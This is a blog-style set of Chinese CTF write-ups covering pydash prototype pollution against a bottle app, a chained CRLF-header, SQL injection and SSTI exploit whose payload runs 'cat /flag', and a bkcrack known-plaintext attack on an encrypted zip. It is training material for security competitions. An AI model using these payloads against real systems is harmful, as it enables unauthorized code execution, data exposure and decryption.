#ez_dash_revenge(NCTF 2025)
考点是pydash的原型链污染,还有代码审计,要审计pydash和bottle的一些实现,根据这些来污染。
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True
@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
可以利用pydash的set_函数来进行原型链污染,选定对象(name),构造链路(path),然后指定污染为其他对象(value)。然后就要考虑一下怎么污染了。name中把bottle过滤了,并且有变量名长度限制,但是通过__globals__来间接拿到bottle,globals可以用各种长度不超过限制对的对象得到,刚好没有过滤它。所以可以有以下payload:
// name=setval
{
"path": "__globals__.bottle.TEMPLATE_PATH",
"value": "['../../../../../proc/self/']"
}
// 调试可以发现bottle存在TEMPLATE_PATH,默认为./与./views/,这里通过污染它来使得我们直接获取环境变量文件。
但是传入这句时仍会报no,查一下,字符长度也没有问题,那问题可能就出在pydash.set_这个函数的执行上了。一路追踪这个函数的实现,可以发现如下代码:
(source.py)set_ -> (objects.py)set_with() -> (objects.py)update_with() -> (helpers.py)base_set() -> (helpers.py)_raise_if_restricted_key() -> (helpers.py)seattr()
到setattr才是真的污染完成。
def _raise_if_restricted_key(key):
# Prevent access to restricted keys for security reasons.
if key in RESTRICTED_KEYS:
raise KeyError(f"access to restricted key {key!r} is not allowed")
# RESTRICTED_KEYS = ("__globals__", "__builtins__")
def base_set(obj, key, value, allow_override=True):
"""
Set an object's `key` to `value`. If `obj` is a ``list`` and the `key` is the next available
index position, append to list; otherwise, pad the list of ``None`` and then append to the list.
Args:
obj: Object to assign value to.
key: Key or index to assign to.
value: Value to assign.
allow_override: Whether to allow overriding a previously set key.
"""
if isinstance(obj, dict):
if allow_override or key not in obj:
obj[key] = value
elif isinstance(obj, list):
key = int(key)
if key < len(obj):
if allow_override:
obj[key] = value
else:
if key > len(obj):
# Pad list object with None values up to the index key, so we can append the value
# into the key index.
obj[:] = (obj + [None] * key)[:key]
obj.append(value)
elif (allow_override or not hasattr(obj, key)) and obj is not None:
_raise_if_restricted_key(key)
setattr(obj, key, value)
return obj
也就是说__globals__被pydash本身给拦了,那我们就先把这个拆了:
// name=pydash
{
"path": "helpers.RESTRICTED_KEYS",
"value": []
}

可以看到成功拆除。这样就可以污染TEMPLATE_PATH了
接下来只要访问/render?path=environ就可以看到当前进程的环境变量了。
#excellent-site(ACTF 2025)
直接先看源码:
import smtplib
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *
app = Flask(__name__)
def get_subjects(username, password):
imap_server = "ezmail.org"
imap_port = 143
try:
mail = imaplib.IMAP4(imap_server, imap_port)
mail.login(username, password)
mail.select("inbox")
status, messages = mail.search(None, 'FROM "admin@ezmail.org"')
if status != "OK":
return ""
subject = ""
latest_email = messages[0].split()[-1]
status, msg_data = mail.fetch(latest_email, "(RFC822)")
for response_part in msg_data:
if isinstance(response_part, tuple):
msg = email.message_from_bytes(response_part [1])
subject, encoding = decode_header(msg["Subject"]) [0]
if isinstance(subject, bytes):
subject = subject.decode(encoding if encoding else 'utf-8')
mail.logout()
return subject
except:
return "ERROR"
def fetch_page_content(url):
try:
parsed_url = urlparse(url)
if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':
return "SSRF Attack!"
response = requests.get(url)
if response.status_code == 200:
return response.text
else:
return "ERROR"
except:
return "ERROR"
@app.route("/report", methods=["GET", "POST"])
def report():
message = ""
if request.method == "POST":
url = request.form["url"]
content = request.form["content"]
smtplib._quote_periods = lambda x: x
mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""
try:
server = smtplib.SMTP("ezmail.org")
mail_content = smtplib._fix_eols(mail_content)
mail_content = mail_content.format(url=url, content=content)
server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)
message = "Submitted! Now wait till the end of the world."
except:
message = "Send FAILED"
return render_template("report.html", message=message)
@app.route("/bot", methods=["GET"])
def bot():
requests.get("http://ezmail.org:3000/admin")
return "The admin is checking your advice(maybe)"
@app.route("/admin", methods=["GET"])
def admin():
ip = request.remote_addr
if ip != "127.0.0.1":
return "Forbidden IP"
subject = get_subjects("admin", "p@ssword")
if subject.startswith("http://ezmail.org"):
page_content = fetch_page_content(subject)
return render_template_string(f"""
<h2>Newest Advice(from myself)</h2>
<div>{page_content}</div>
""")
return ""
@app.route("/news", methods=["GET"])
def news():
news_id = request.args.get("id")
if not news_id:
news_id = 1
conn = sqlite3.connect("news.db")
cursor = conn.cursor()
cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
result = cursor.fetchone()
conn.close()
if not result:
return "Page not found.", 404
return result[0]
@app.route("/")
def index():
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)
我们可以发现/admin是使用render_template_string来渲染的,而其中存在page_content,这个page_content是由fetch_page_content函数得到,这个函数会访问指定url并得到响应(存在一点waf),url由subject得到,主题是可控的(在/report可以通过url这个参数来指定subject,然后通过get_subject来得到它)。
那么我们大致确定攻击思路,首先我们可以通过/report来给邮件服务器发送请求,然后可以通过/bot的ssrf来使得/admin的ssti触发,那我们还需要一个url以"http://ezmail.org"
为起始,再加上这里存在一个/news有一个显然的sql注入点,我们就可以把ssti的语句注入,然后访问/bot来触发ssti:
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
url=http://ezmail.org:3000/news?id=-1 UNION ALL SELECT CHAR(123, 123, 99, 111, 110, 102, 105, 103, 46, 95, 95, 99, 108, 97, 115, 115, 95, 95, 46, 95, 95, 105, 110, 105, 116, 95, 95, 46, 95, 95, 103, 108, 111, 98, 97, 108, 115, 95, 95, 91, 39, 111, 115, 39, 93, 46, 112, 111, 112, 101, 110, 40, 39, 99, 97, 116, 32, 47, 102, 108, 97, 103, 39, 41, 46, 114, 101, 97, 100, 40, 41, 125, 125)--
From: admin@ezmail.org&content=hi
这里还有个要注意的点是最后的From: admin@ezmail.org
,因为源码中get_subjects时只会取得FROM "admin@ezmail.org"
的邮件(line 19).以下解释来自ds:
1.漏洞触发点:/report 路由的邮件构造
代码中
/report
路由处理用户提交的url
和content
,并构造邮件内容:mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n""" mail_content = mail_content.format(url=url, content=content)
- 本意:将用户提供的
url
插入邮件主题(Subject),content
作为正文。- 漏洞:未对用户输入的
url
进行过滤,允许插入换行符(\r\n
)或其他控制字符。2. 攻击者构造恶意输入
攻击者提交的
url
参数包含 CRLF(Carriage Return Line Feed)注入:POST /report HTTP/1.1 ... url=http://ezmail.org:3000/news%0D%0AFrom:%20admin@ezmail.org&content=hi
URL 解码后:
url=http://ezmail.org:3000/news\r\nFrom: admin@ezmail.org
关键操作:
%0D%0A
是 URL 编码的\r\n
(即换行符)。- 攻击者在
url
参数末尾插入换行符和From: admin@ezmail.org
字段。3. 构造恶意邮件内容
服务端将攻击者提供的
url
插入邮件主题后,完整的邮件内容变为:From: ignored@ezmail.org To: admin@ezmail.org Subject: http://ezmail.org:3000/news From: admin@ezmail.org hi .
- 解析结果:
- 邮件头部出现 两个
From
字段:原始的ignored@ezmail.org
和注入的admin@ezmail.org
。- 若SMTP服务器或邮件客户端以最后一个
From
字段为准,则会导致发件人记录为admin@ezmail.org
,从而实现身份的伪造。
#MiniForensicsⅡ(MiniL 2025)
给出的流量包中有个lock.zip,其中存在一个useless.png和breadcrumb.txt。给的附件里已经找无可找了。最后才知道还有png头明文攻击这个玩意,原来明文攻击的门槛这么低说是。
那就构建一个png头,正好这个useless.png的偏移量为0,那么直接造就可以了:
echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
在用bkcreak来攻击:
time bkcrack -C lock.zip -c useless.png -p png_header -o 0
对bkcreak命令的解释:
time:加上time参数查看计算爆破时间
-C:指定加密压缩包
-c:指定压缩包的密文部分
-p:指定明文文件
-o:指定的明文在压缩包内目标文件的偏移量
之后就能解除三段密钥,再用bkcreak就能提取压缩包中的文件了:
bkcrack -C lock.zip -c useless.png -k 45797e52 f747cc4c 800bd117 -d useless.png
发现这个png确实没啥用,把breadcrumb.txt掏出来看看,发现是个b64的网址,指向一个github仓库(https://github.com/root-admin-user/what_do_you_wanna_find.git)
,在其中可以找到一个假flag和一个py脚本,这个脚本中能发现有个target_hash,在github这个环境下,很容易想到会是一个commit的编号,那就直接转到这个commit(https://github.com/root-admin-user/what_do_you_wanna_find/commit/89045a3653af483b6bb390e27c10db16873a60d1)
,这是个隐藏的commit,直接找是找不到的。这里有个py脚本,运行一下就能得到flag了。